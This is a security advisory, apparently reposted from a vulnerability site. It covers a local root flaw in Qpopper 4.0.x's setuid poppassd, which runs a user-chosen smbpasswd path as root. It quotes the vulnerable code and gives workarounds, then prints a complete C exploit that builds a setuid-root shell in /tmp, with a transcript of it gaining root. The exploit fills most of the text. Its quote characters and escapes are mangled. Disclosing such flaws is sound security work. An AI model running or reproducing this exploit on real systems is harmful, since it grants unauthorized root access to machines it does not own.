‘Poppassd Local Root Vulnerability and Exploit (smbpasswd)’

Summary

Poppassd is ‘a program that changes system passwords thus allowing users to change their mail passwords’. INetCop found a security bug in the Poppassd program that is included with Qpopper v4.0.x. Through this vulnerability, a local use is able to execute arbitrary command as root (allowing him to elevate his security privileges).’

Credit:

‘The information has been provided by dong-h0un U of INetCop.’


Details

Vulnerable systems:
 * Poppassd version 4.0.5b2
 * Qpopper version 4.0.5 and prior

Vulnerable code:
In the dochild() function found at line 711 of ‘password/poppassd.c’ file:
    __
        …
   170 #define PASSWD_BINARY ‘/usr/bin/passwd’ /* TBD: config.h */
   171 #define SMBPASSWD_BINARY ‘/usr/bin/smbpasswd’ /* TBD: config.h */
        …
   711 int dochild (int master, char *slavedev, char *userid, int smb)
   712 {
        …
   781 if (!smb)
   782 {
   784 setregid ( pw->pw_gid, pw->pw_gid ); // It’s natural.
   785 setreuid ( pw->pw_uid, pw->pw_uid ); // It’s natural. 😉
   786
   787 execl ( pwd_binary, ‘passwd’, NULL ); // ok, is executed by general user.
   788
   789 err_msg ( HERE, ‘can’t exec %s’, pwd_binary );
   790 exit ( 1 );
   791 }
   792 else
   793 {
   794 TRACE ( trace_file, POP_DEBUG, HERE, ‘…changing smb password’ );
   795 execl ( smb_binary, ‘smbpasswd’, userid, NULL ); // Ooops, is executed by root user.
   796
   797 err_msg ( HERE, ‘can’t exec %s’, smb_binary );
   798 exit ( 1 );
   799 }
   800 }
        …
    —

The setuid settings of ‘/usr/bin/smbpasswd’ are not established. This allows local attackers to execute arbitrary commands as root. What makes this even more of a security vulnerability is the fact that the path to which the Poppassd program finds the smbpasswd is user controlled.


[x82@xpl017elz password]$ cat Makefile | grep install
# * – Added patch by Steven Champeon to fix install and lib.
installdir = ${exec_prefix}/bin
INSTALL = /usr/bin/install -c
install:
        ${INSTALL} -m 4755 -o root -g 0 poppassd ${installdir}/poppassd;
        echo ‘Installed poppassd as ${installdir}/poppassd’
[x82@xpl017elz password]$ pwd
/qpopper4.0.5/password
[x82@xpl017elz password]$ ls -al /usr/local/bin/poppassd
-rwsr-xr-x 1 root root 108300 Apr 17 00:55 /usr/local/bin/poppassd
[x82@xpl017elz password]$ poppassd -?
poppassd [-?] [-d] [-l 0|1|2] [-p [passd-path]] [-R] [-s [smbpasswd-path]]
        [-t trace-file] [-v] [-y log-facility]
[x82@xpl017elz password]$

Workaround:
Can reduce danger by removing the setuid, or change its group settings to that of the wheel group.

# chmod -s poppassd

Or,

# chgrp wheel poppassd
# chmod o-rx poppassd
# chmod u+s poppassd

Exploit
[x82@xpl017elz /tmp]$ ./0x82-Local.Qp0ppa55d -u x82 -p mypasswd

 Qpopper v4.0.x poppassd local root exploit.
                                by Xpl017Elz

 [+] make code.
 [+] execute poppassd.
 200 xpl017elz poppassd v4.0.5b2 hello, who are you?
 [+] input username.
 200 your password please.
 [+] input password.
 200 your new password please.
 [+] input fake new password.
 [+] wait, 2sec.
 [+] Ok, exploited successfully.
 [*] It’s Rootshell !

[root@xpl017elz /root]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@xpl017elz /root]#

/*
**
** [+] Title: Qpopper v4.0.x poppassd local root exploit.
** [+] Exploit code: 0x82-Local.Qp0ppa55d.c
**
** —
** [x82@xpl017elz /tmp]$ ./0x82-Local.Qp0ppa55d -u x82 -p mypasswd
**
** Qpopper v4.0.x poppassd local root exploit.
** by Xpl017Elz
**
** [+] make code.
** [+] execute poppassd.
** 200 xpl017elz poppassd v4.0.5b2 hello, who are you?
** [+] input username.
** 200 your password please.
** [+] input password.
** 200 your new password please.
** [+] input fake new password.
** [+] wait, 2sec.
** [+] Ok, exploited successfully.
** [*] It’s Rootshell !
**
** [root@xpl017elz /root]#
**
** —
** exploit by ‘you dong-hun'(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>

#define BUF_SZ 0x82
#define D_POPPASS ‘/usr/local/bin/poppassd’
#define D_NAME ‘Happy-Exploit’
#define D_SHELL ‘/tmp/x82’
#define D_EXEC ‘/tmp/x0x’

int m_sh();
void banrl();
void usage(char *p_name);
struct stat ss;

void usage(char *p_name)
{
  fprintf(stdout,’ Usage: %s -option [argument]n’,p_name);
  fprintf(stdout,’nt-u – Qpopper username.n’);
  fprintf(stdout,’t-p – Qpopper password.n’);
  fprintf(stdout,’t-t – Qpopper poppassd path.n’);
  fprintf(stdout,’t-h – Help information.nn’);
  fprintf(stdout,’ Example> %s -u x82 -p %snn’,p_name,D_NAME);
  exit(-1);
}

int m_sh()
{
  char d_shell[BUF_SZ]=D_SHELL;
  char sh_drop[BUF_SZ];
  FILE *fp;
  
  memset((char *)sh_drop,0,sizeof(sh_drop));
  snprintf(sh_drop,sizeof(sh_drop)-1,’%s.c’,d_shell);
  
  if((fp=fopen(sh_drop,’w’))==NULL)
  {
    perror(‘ [-] fopen() error’);
    exit(-1);
  }
  
  fprintf(fp,’main() {n’);
  fprintf(fp,’setreuid(0,0);nsetregid(0,0);n’);
  fprintf(fp,’setuid(0);nsetgid(0);n’);
  fprintf(fp,’system(‘su -‘);n}n’);
  
  fclose(fp);

  memset((char *)sh_drop,0,sizeof(sh_drop));
  snprintf(sh_drop,sizeof(sh_drop)-1,
    ‘gcc -o %s %s.c >/dev/null 2>&1;’
    ‘rm -f %s.c >/dev/null 2>&1′,
    d_shell,d_shell,d_shell);
  system(sh_drop);
  
  memset((char *)d_shell,0,sizeof(d_shell));
  strncpy(d_shell,D_EXEC,sizeof(d_shell)-1);
  
  memset((char *)sh_drop,0,sizeof(sh_drop));
  snprintf(sh_drop,sizeof(sh_drop)-1,’%s.c’,d_shell);
  
  if((fp=fopen(sh_drop,’w’))==NULL)
  {
    perror(‘ [-] fopen() error’);
    exit(-1);
  }
  
  fprintf(fp,’main() {n’);
  fprintf(fp,’setreuid(0,0);nsetregid(0,0);n’);
  fprintf(fp,’setuid(0);nsetgid(0);n’);
  fprintf(fp,’system(‘chown root: %s’);n’,D_SHELL);
  fprintf(fp,’system(‘chmod 6755 %s’);n}n’,D_SHELL);
  
  fclose(fp);

  memset((char *)sh_drop,0,sizeof(sh_drop));
  snprintf(sh_drop,sizeof(sh_drop)-1,
    ‘gcc -o %s %s.c >/dev/null 2>&1;’
    ‘rm -f %s.c >/dev/null 2>&1′,
    d_shell,d_shell,d_shell);
  system(sh_drop);

  if((stat(D_SHELL,&ss)==0)&&(stat(D_EXEC,&ss)==0))
  {
    fprintf(stdout,’ [+] make code.n’);
    return(0);
  }
  else
  {
    fprintf(stderr,’ [-] code not found.n’);
    return(-1);
  }
}

int main(int argc, char *argv[])
{
  int whtl;
  char user_id[BUF_SZ]=D_NAME;
  char passwd[BUF_SZ]=D_NAME;
  char tg_path[BUF_SZ]=D_POPPASS;
  char df_sh[BUF_SZ]=D_SHELL;

  (void)banrl();
  
  while((whtl=getopt(argc,argv,’U:u:P:p:T:t:Hh’))!=-1)
  {
    extern char *optarg;
    switch(whtl)
    {
      case ‘U’:
      case ‘u’:
        memset((char *)user_id,0,sizeof(user_id));
        strncpy(user_id,optarg,sizeof(user_id)-1);
        break;
        
      case ‘P’:
      case ‘p’:
        memset((char *)passwd,0,sizeof(passwd));
        strncpy(passwd,optarg,sizeof(passwd)-1);
        break;
        
      case ‘T’:
      case ‘t’:
        memset((char *)tg_path,0,sizeof(tg_path));
        strncpy(tg_path,optarg,sizeof(tg_path)-1);
        break;
        
      case ‘H’:
      case ‘h’:
        (void)usage(argv[0]);
        break;
        
      case ‘?’:
        fprintf(stderr,’ Try `%s -i’ for more information.nn’,argv[0]);
        exit(-1);
        break;
    }
  }
  
  if(!strcmp(user_id,D_NAME)||!strcmp(passwd,D_NAME))
  {
    (void)usage(argv[0]);
    exit(-1);
  }
  else
  {
    char comm[1024];
    int out[2],in[2];

    if(((int)m_sh())==-1)
    {
      fprintf(stdout,’ [-] exploit failed.nn’);
      exit(-1);
    }

    if(pipe(out)==-1)
    {
      perror(‘ [-] pipe() error’);
      exit(-1);
    }
    
    if(pipe(in)==-1)
    {
      perror(‘ [-] pipe() error’);
      exit(-1);
    }
    
    switch(fork())
    {
      case -1:
        perror(‘ [-] fork() error’);
        break;

      case 0:
        close(out[0]);
        close(in[1]);
        
        dup2(out[1],STDOUT_FILENO);
        dup2(in[0],STDIN_FILENO);
        
        execl(tg_path,tg_path,’-s’,D_EXEC,0);
        break;

      default:
        close(out[1]);
        close(in[0]);

        fprintf(stdout,’ [+] execute poppassd.n’);
        memset((char *)comm,0,sizeof(comm));
        read(out[0],comm,sizeof(comm)-1);
        fprintf(stdout,’ %s’,comm);

        memset((char *)comm,0,sizeof(comm));
        snprintf(comm,sizeof(comm)-1,’user %srn’,user_id);
        fprintf(stdout,’ [+] input username.n’);
        write(in[1],comm,strlen(comm));

        memset((char *)comm,0,sizeof(comm));
        read(out[0],comm,sizeof(comm)-1);
        fprintf(stdout,’ %s’,comm);

        memset((char *)comm,0,sizeof(comm));
        snprintf(comm,sizeof(comm)-1,’pass %srn’,passwd);
        fprintf(stdout,’ [+] input password.n’);
        write(in[1],comm,strlen(comm));

        memset((char *)comm,0,sizeof(comm));
        read(out[0],comm,sizeof(comm)-1);
        fprintf(stdout,’ %s’,comm);

        memset((char *)comm,0,sizeof(comm));
        snprintf(comm,sizeof(comm)-1,’newpass %srn’,passwd);
        fprintf(stdout,’ [+] input fake new password.n’);
        write(in[1],comm,strlen(comm));

        close(out[0]);
        close(in[1]);
        break;
    }

    fprintf(stdout,’ [+] wait, 2sec.n’);
    sleep(2);

    if((stat(D_SHELL,&ss)==0)&&(ss.st_mode&S_ISUID))
    {
      fprintf(stdout,’ [+] Ok, exploited successfully.n’);
      fprintf(stdout,’ [*] It’s Rootshell !nn’);
      unlink(D_EXEC);
      execl(D_SHELL,D_SHELL,0);
    }
    else
    {
      fprintf(stdout,’ [-] exploit failed.nn’);
      exit(-1);
    }
  }
}

void banrl()
{
  fprintf(stdout,’n Qpopper v4.0.x poppassd local root exploit.n’);
  fprintf(stdout,’ by Xpl017Elznn’);
}’

Categories: UNIX